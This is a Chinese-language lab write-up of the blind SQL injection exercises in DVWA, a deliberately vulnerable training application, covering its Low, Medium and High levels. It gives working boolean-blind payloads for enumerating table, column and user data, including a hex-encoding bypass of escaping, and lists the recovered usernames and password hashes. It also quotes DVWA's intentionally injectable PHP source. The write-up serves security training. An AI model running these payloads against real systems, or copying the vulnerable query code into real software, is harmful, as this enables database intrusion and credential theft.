0x01 盲注简介

并不是所有页面都有回显，有的时候页面只会显示正确与否，我们就可以利用页面正确与错误来进行布尔盲注。

0x02 SQL Injection(Blind)-Low

可以看到页面只显示了存在与否的信息，我们可以利用if函数和substring函数进行逐字符的猜解

image.png

数据库名的长度

设置变量

变量1的设置

变量2的设置

变量3的设置

表名

排序整理后得到表名1guestbook和表名2users
接下来跑一下users表中的列名
-1' or if(substring((select concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)='a',1,0)#

列名

排序整理后得知users表名中的列名为user_id、first_name、last_name、user、password、avatar、last_login、failed_login字段
然后就是跑user字段和password字段的值了
-1' or if(substring((select concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
排序整理得知
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99

看下源代码：

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

0x03 SQL Injection(Blind)-Medium

单引号和双引号都报错，应该是数字型注入，无需闭合
id=1 order by 2#列名数量为2
页面只显示存在于数据库或不存在于数据库，还是用盲注吧
猜解数据库名的长度
id=1 and if(length(database())=4,1,0)#页面显示存在，数据库名的长度为4
猜解数据库名
第一个字符
1 and if(substring(database(),1,1)='d',1,0)#页面显示用户不存在,猜测是添加了过滤。老办法，将d转为十六进制0x64来进行绕过
id=1 and if(substring(database(),1,1)=0x64,1,0)#页面显示用户存在，代表数据库名称第一个字符为d
接下来仍然是用burpsuite进行暴力猜解，不过需要把字典替换成十六进制的。
源代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

0x04 SQL Injection(Blind)-High

1'页面报错，1'#页面回显正常，判断该处存在注入点
猜解数据库名的长度
-1' or if(length(database())=4,1,0)#

数据库名的长度

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>